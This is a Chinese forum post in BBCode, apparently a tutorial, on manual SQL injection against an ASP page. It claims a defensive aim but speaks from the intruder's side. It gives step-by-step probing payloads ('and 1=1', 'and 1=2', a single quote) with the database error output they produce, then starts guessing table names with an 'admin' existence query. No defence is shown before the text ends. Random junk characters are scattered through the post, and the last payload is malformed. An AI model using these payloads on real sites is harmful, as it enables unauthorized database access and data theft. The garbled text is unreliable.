【原创】从手工注入看SQL防御
大家都知道很多情况下我们在入侵时使用工具注入的时候工具猜解不出来表明和字段名,不知道大家有没有注意这是什么原因?h%^ pnp我总结了下发现那是因为所有的工具都有一部自己的字典,这部字典包含了表名和字段名,如果说管理员吧表明和字段名改成了不在这不字典内哪么我们所使用的工具将永远无法猜解出字段名和表名。下面我将从分析手工注入出发一打造抵御SQL的注入防线。当然不要忘记了哦 正的就是反的,反的就是正的。就看你怎么去理解了!!呵呵,q&dM%Z}p
%M{n9_:h9t4~
1 判断是否存在注入点b }X;] h0gr
构造简单的判断条件来判断该页面是否存在注入点,例如要检测的页面:[url=http://127.0.0.1/111/view.asp?id=198]http://127.0.0.1/111/view.asp?id=198[/url]
(1)想要对站点进行手工注入就必须对浏览器进行设置,以保证手工注入时能够返回出错的信息,"AVD~~Ky
步骤:右键单击浏览器----属性---高级---取消“显示有好的HTTP错误信息”的勾--------应用!~A(i:JFi?8W-t&n
(2)像浏览器提交如下url:[url=http://127.0.0.1/111/view.asp?id=198]http://127.0.0.1/111/view.asp?id=198[/url] and 1=1 如果存在SQL注入漏洞,就可以查询数据库。
这里1=1是一个恒等式,可以忽略,因此会返回一个正常的页面,此页面和[url=http://127.0.0.1/111/view.asp?id=198]http://127.0.0.1/111/view.asp?id=198[/url]一样,这时便可以判断此站有希望被注入,如果返回的是一些错误的信息,哪么一些初级的入侵者可能会放弃这个站点-QO0N%m_W{R
(3)进一步像浏览器提交如下URL:[url=http://127.0.0.1/111/view.asp?id=198]http://127.0.0.1/111/view.asp?id=198[/url] and 1=2 这里1=2是一个恒不等式。
如果站点支持数据库查询,大概会返回一个这样的提示:
[color=red]microsoft VBScript 编辑器错误 错误’800a03f6'[/color]0[1m1YS CH2h
[color=red]缺少'End'[/color]
[color=red]/iisHelp/common/500-100.asp,行242[/color]
[color=red]ADODB.Field 错误'800a0bcd'[/color]oD1fGb$qyM
[color=red]BOF或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。[/color]
[color=red]/111/view.asp. 行50[/color]
[color=#ff0000][/color]'te\N#t?
[color=black]一般出现这个信息我们就能够基本确定这个站能够进行SQL的注入了。[/color]
[color=#000000][/color]
[color=#000000]不过很多的时候我们只需要用一个单引号就可以快速的判断出目标站点是否存在SQL的注入,向浏览器提交如下url: [url=http://127.0.0.1/111/view.asp?id=198]http://127.0.0.1/111/view.asp?id=198'[/url][/color]
[color=black][/color]
[color=#000000]如果返回的如下信息就说明有一半以上的几率存在注入漏洞:[/color]
[color=#000000][font=Times New Roman]Microsoft OLE DB Provider for ODBC Drivers[/font][font=宋体]错误[/font][font=Times New Roman]’80040e14’[/font]
[font=Times New Roman][Microsoft] [OBDC
Microsoft Ac-cess Driver][/font][font=宋体]字符串的语法错误在查询表达式[/font][font=Times New Roman]’id=1’[/font][font=宋体]中。[/font]_P,[I-~n|e!Si
-y#| F}mw3bm
[font=宋体](4)此时我们开始构造特殊的SQL查询语句来查询站点数据库的表名,向url提交如下语句:[/font]
[font=宋体][url=http://127.0.0.1/111/view.asp?id=198][font=Times New Roman][color=#0000ff]http://127.0.0.1/111/view.asp?id=198[/color][/font][/url][font=Times New Roman] and exists(select from *admin)[/font]
[font=Times New Roman][/font]